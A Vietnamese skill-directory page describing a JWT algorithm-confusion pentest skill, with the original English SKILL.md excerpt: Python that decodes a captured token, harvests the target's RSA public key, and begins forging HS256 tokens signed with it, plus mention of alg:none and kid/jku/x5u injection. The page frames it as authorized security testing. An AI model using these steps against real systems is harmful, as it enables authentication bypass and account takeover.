Chuyển đến nội dung
Skillpedia
Bảo mật35k · #7912

exploiting-jwt-algorithm-confusion-attack

Skill này làm gì

Đoạn mã này cố lừa một hệ thống xác thực JWT token. Nó thay đổi cách token được ký để token có thể được chấp nhận ngay cả khi lẽ ra không nên.

Khi nào nên dùng

  • ✓Khi kiểm thử bảo mật một hệ thống dùng JWT token với thuật toán RS256.
  • ✓Để kiểm tra xem hệ thống có chấp nhận token không có chữ ký hợp lệ (alg:none) hay không.
  • ✓Để kiểm tra xem hệ thống có dùng sai khóa công khai để xác minh chữ ký hay không.

Liên kết skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Thử đánh lừa hệ thống chấp nhận một JWT token đã bị sửa đổi.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Công cụ lấy một JWT token hợp lệ, đổi thuật toán ký sang một thuật toán yếu hơn (như HS256), rồi dùng khóa công khai của hệ thống làm khóa bí mật để ký. Nếu hệ thống không xác minh đúng, nó sẽ chấp nhận token giả này.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Exploiting JWT Algorithm Confusion Attack

When to Use

  • Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256
  • Assessing JWT implementations for alg:none bypass where the server skips signature verification
  • Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret
  • Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection
  • Validating that the API server enforces a specific algorithm and does not trust the JWT header

Do not use without written authorization. JWT exploitation can lead to authentication bypass and account takeover.

Prerequisites

  • Written authorization specifying the target API and JWT-based authentication in scope
  • A valid JWT token from the target API (obtained through legitimate authentication)
  • The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint)
  • Python 3.10+ with PyJWT, cryptography, and requests libraries
  • jwt_tool for automated JWT attack testing
  • Burp Suite with JWT Editor extension

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: JWT Token Analysis

import base64
import json
import requests
import hmac
import hashlib
import time

BASE_URL = "https://target-api.example.com/api/v1"

# Capture a valid JWT token
login_resp = requests.post(f"{BASE_URL}/auth/login",
    json={"email": "test@example.com", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")

# Decode JWT parts
def decode_jwt(token):
    parts = token.split('.')
    if len(parts) != 3:
        raise ValueError("Invalid JWT format")

    def pad(s):
        return s + '=' * (4 - len(s) % 4)

    header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
    payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
    return header, payload, parts[2]

header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: {header.get('typ')}")
print(f"JKU: {header.get('jku', 'none')}")
print(f"\nPayload: {json.dumps(payload, indent=2)}")
print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")

Step 2: Obtain the Public Key

from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate

# Method 1: JWKS endpoint
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
    jwks = jwks_resp.json()
    print(f"JWKS keys found: {len(jwks.get('keys', []))}")
    for key in jwks['keys']:
        print(f"  kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")

    # Extract RSA public key from JWKS
    from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
    from cryptography.hazmat.backends import default_backend

    rsa_key = jwks['keys'][0]  # First key
    n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
    e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
    public_key = RSAPublicNumbers(e, n).public_key(default_backend())
    public_key_pem = public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")

# Method 2: From well-known OpenID configuration
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
    jwks_uri = oidc_resp.json().get('jwks_uri')
    print(f"JWKS URI from OIDC config: {jwks_uri}")

# Method 3: Exposed at common paths
for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
    resp = requests.get(f"{BASE_URL}{path}")
    if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
        print(f"Public key found at: {path}")

Step 3: Algorithm Confusion Attack (RS256 to HS256)

def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
    """
    Algorithm confusion: Sign token with HS256 using the RSA public key as secret.

…
Câu hỏi thường gặp

JWT token là gì?

Đó là một đoạn thông tin nhỏ dùng để xác thực người dùng trên hệ thống web, giống như một thẻ truy cập điện tử.

RS256 và HS256 là gì?

Đó là hai “công thức” (thuật toán) khác nhau để ký và xác minh JWT token. RS256 an toàn hơn HS256.

Tại sao dùng khóa công khai làm khóa bí mật lại nguy hiểm?

Vì khóa công khai chỉ nên dùng để xác minh, không dùng để ký. Dùng nó làm khóa bí mật cho phép bất kỳ ai tạo token hợp lệ.

Chi tiết

Mô tả gốc của tác giả

Exploits JWT algorithm confusion where the server's verification library trusts the alg named in the token header, by switching RS256 to HS256 (signing with the RSA public key as HMAC secret), setting alg to none, or injecting kid/jku/x5u headers to supply an attacker-controlled key. Use when testing RS256 JWT auth for algorithm downgrade, alg:none bypass, or key-confusion signature forgery.

repo: mukul975/Anthropic-Cybersecurity-Skills

Độ phổ biến

Sao GitHub
35k
Vị trí xếp hạng
#7912
Giấy phép
Apache-2.0
Cập nhật
31/8/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự